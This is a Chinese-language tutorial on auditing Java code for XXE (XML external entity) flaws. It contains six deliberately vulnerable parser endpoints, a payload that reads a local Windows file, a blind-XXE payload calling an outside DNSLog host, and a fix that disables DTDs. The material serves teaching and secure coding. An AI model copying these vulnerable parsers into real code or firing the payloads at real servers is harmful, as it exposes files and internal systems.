Java代码审计之XXE
字数 947 2025-08-12 11:34:25
Java代码审计之XXE漏洞详解
1. XXE漏洞概述
XXE (XML External Entity Injection)即XML外部实体注入漏洞。当应用程序解析XML输入时,如果允许引用外部实体,攻击者可以通过构造恶意XML内容实现:
- 任意文件读取
- 系统命令执行
- 内网端口探测
- 攻击内网网站
XXE支持sun.net.www.protocol包中的所有协议:http、https、file、ftp、mailto、jar、netdoc。
2. XML与DTD基础
2.1 XML基础
XML (可扩展标记语言)是一种用于传输和存储数据的标记语言,不用于显示数据。
2.2 DTD基础
DTD(文档类型定义)用于定义XML文档的合法构建模块,使用一系列合法元素定义文档结构。
2.3 实体(ENTITY)类型
XML中有以下几种实体类型:
-
字符实体
类似HTML实体编码,形如:&a;(十进制)或&a;(十六进制) -
命名实体(内部实体)
语法:<!ENTITY 实体名称 "实体的值">示例:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY x "First Param!"> <!ENTITY y "Second Param!"> ]> <root> <x>&x;</x> <y>&y;</y> </root> -
外部普通实体
用于加载外部文件内容(显式XXE攻击主要利用此类实体)
语法:<!ENTITY 实体名称 SYSTEM "URI/URL">示例:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY outfile SYSTEM "outfile.xml"> ]> <root> <outfile>&outfile;</outfile> </root> -
外部参数实体
以%开始,以;结束,主要用于DTD和文档内部子集中
(Blind XXE攻击常利用参数实体进行数据回显)
示例:<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % param1 "Hello"> <!ENTITY % param2 " "> <!ENTITY % param3 "World"> <!ENTITY dtd SYSTEM "combine.dtd"> %dtd; ]> <root><foo>&content;</foo></root>combine.dtd内容:
<!ENTITY content "%param1;%param2;%param3;">
3. Java中的XXE漏洞代码示例
3.1 XMLReader漏洞代码
@PostMapping("/xmlReader/vuln")
public String xmlReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
return "xmlReader xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
3.2 SAXBuilder漏洞代码
@RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
public String SAXBuilderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXBuilder builder = new SAXBuilder();
builder.build(new InputSource(new StringReader(body))); // cause xxe
return "SAXBuilder xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
3.3 SAXReader漏洞代码
@RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
public String SAXReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXReader reader = new SAXReader();
reader.read(new InputSource(new StringReader(body))); // cause xxe
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXReader xxe vuln code";
}
3.4 SAXParser漏洞代码
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
3.5 Digester漏洞代码
@RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
public String DigesterVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
Digester digester = new Digester();
digester.parse(new StringReader(body)); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "Digester xxe vuln code";
}
3.6 DocumentBuilder漏洞代码(有回显)
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is);
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
4. XXE攻击Payload示例
4.1 有回显的文件读取Payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini">
]>
<creds>&goodies;</creds>
4.2 无回显的DNSLog探测Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://obfz0y.dnslog.cn" >
]>
<value>&xxe;</value>
5. XXE漏洞修复方案
5.1 禁用DTD和外部实体
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
6. DNSLog在XXE中的应用
DNSlog是存储在DNS服务器上的域名信息,记录用户对域名的访问信息。在以下场景中特别有用:
- SQL盲注
- 无回显的XSS
- 无回显的命令执行
- 无回显的SSRF
- Blind XXE
对于无回显的XXE漏洞,可以通过DNSlog来验证漏洞是否存在。